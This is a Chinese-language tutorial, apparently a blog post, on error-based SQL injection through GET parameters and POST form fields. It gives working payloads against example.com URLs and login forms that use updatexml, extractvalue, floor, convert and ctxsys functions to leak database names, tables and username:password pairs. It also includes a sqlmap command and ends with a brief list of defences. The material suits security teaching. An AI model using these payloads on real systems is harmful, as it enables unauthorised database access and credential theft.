SQL注入:基于GET和POST的报错注入详解

SQL注入:基于GET和POST的报错注入详解

  • [一, 报错注入基本原理](#一, 报错注入基本原理)
  • 二、GET型报错注入
    • [1. 基本特征](#1. 基本特征)
    • [2. 攻击步骤](#2. 攻击步骤)
    • [3. 绕过技巧](#3. 绕过技巧)
  • [三, POST型报错注入](#三, POST型报错注入)
    • [1. 基本特征](#1. 基本特征)
    • [2. 攻击步骤](#2. 攻击步骤)
      • [(1) 发现注入点](#(1) 发现注入点)
      • [(2) 构造报错注入](#(2) 构造报错注入)
      • [(3) 获取数据](#(3) 获取数据)
    • [3. 工具辅助](#3. 工具辅助)
  • 四、不同数据库的报错注入方法
  • 五、防御措施

一, 报错注入基本原理

报错注入(Error-Based SQL Injection)是一种利用数据库错误信息来获取数据的SQL注入技术。当应用程序直接将数据库错误信息返回给用户时,攻击者可以构造特殊的SQL语句,使数据库执行时产生错误,并在错误信息中携带查询结果。

核心原理:

  1. 利用数据库函数故意制造错误;
  2. 通过错误信息回显获取数据
  3. 常用报错函数:
    MySQL: updatexml(), extractvalue(), floor()
    SQL Server: convert(), cast()
    Oracle: ctxsys.drithsx.sn()

二、GET型报错注入

1. 基本特征

2. 攻击步骤

(1)判断注入点

http://example.com/news.php?id=1'

观察是否返回数据库错误信息

(2)确定报错函数可用性

MySQL测试:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,version()),1)--+

如果返回包含MySQL版本号的错误信息,说明报错注入可行

(3) 获取数据库信息

获取当前数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,database()),1)--+

获取所有数据库:

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1)--+

(4) 获取表名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)--+

(5) 获取列名

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)--+

(6) 获取数据

http://example.com/news.php?id=1 and updatexml(1,concat(0x7e,(select concat(username,':',password) from users limit 0,1)),1)--+

3. 绕过技巧

  • 使用mid(),substr()函数处理长数据
  • 使用floor(rand()*2)报错方式
  • URL编码特殊字符

三, POST型报错注入

1. 基本特征

  • 注入点位于表单提交的数据中
  • 需要通过修改post请求进行注入
  • 典型示例:登录表单,搜索框等

2. 攻击步骤

(1) 发现注入点

提交单引号测试:

username=admin'&password=123

观察是否返回数据库错误

(2) 构造报错注入

使用Burp Suite拦截请求,修改POST数据:

username=admin' and updatexml(1,concat(0x7e,version()),1)-- &password=123

(3) 获取数据

获取表名:

username=admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- &password=123

3. 工具辅助

  • 使用Burp Suite的Repeater模块修改请求、
  • 使用sqlmap自动化测试
    sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --technique=E --dbs

四、不同数据库的报错注入方法

  1. MySQL
sql 复制代码
and updatexml(1,concat(0x7e,(select user())),1)
and extractvalue(1,concat(0x7e,(select user())))
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)

2 .SQL Server

sql 复制代码
and 1=convert(int,@@version)
and 1=cast((select @@version) as int)

3 .Oracle

sql 复制代码
and 1=ctxsys.drithsx.sn(1,(select banner from v$version where rownum=1))

五、防御措施

  1. 使用参数化查询(Prepared Statements)

  2. 对输入进行严格的过滤和转义

  3. 关闭错误信息回显

  4. 使用WAF防护

  5. 最小权限原则,限制数据库用户权限

相关推荐
ivanfor66619 小时前
多租户架构的三级权限体系:设计逻辑与精准控制实现
java·开发语言·数据库
TDengine (老段)20 小时前
TDengine IDMP 重塑智慧水务运营(内附 Step by Step 步骤)
大数据·数据库·物联网·时序数据库·iot·tdengine·涛思数据
LSL666_1 天前
1 概述及简单登录(不涉及数据库)
数据库·servlet
q***06471 天前
MySQL的UPDATE(更新数据)详解
数据库·mysql
8***B1 天前
MySQL性能
数据库·mysql
q***72191 天前
oracle使用PLSQL导出表数据
数据库·oracle
数据库生产实战1 天前
Oracle DG备库日志切换解析,Private strand flush not complete如何理解?(基础知识)
数据库·oracle
百***75741 天前
从 SQL 语句到数据库操作
数据库·sql·oracle
i***39581 天前
SQL 注入详解:原理、危害与防范措施
数据库·sql·oracle
m***56721 天前
Win10下安装 Redis
数据库·redis·缓存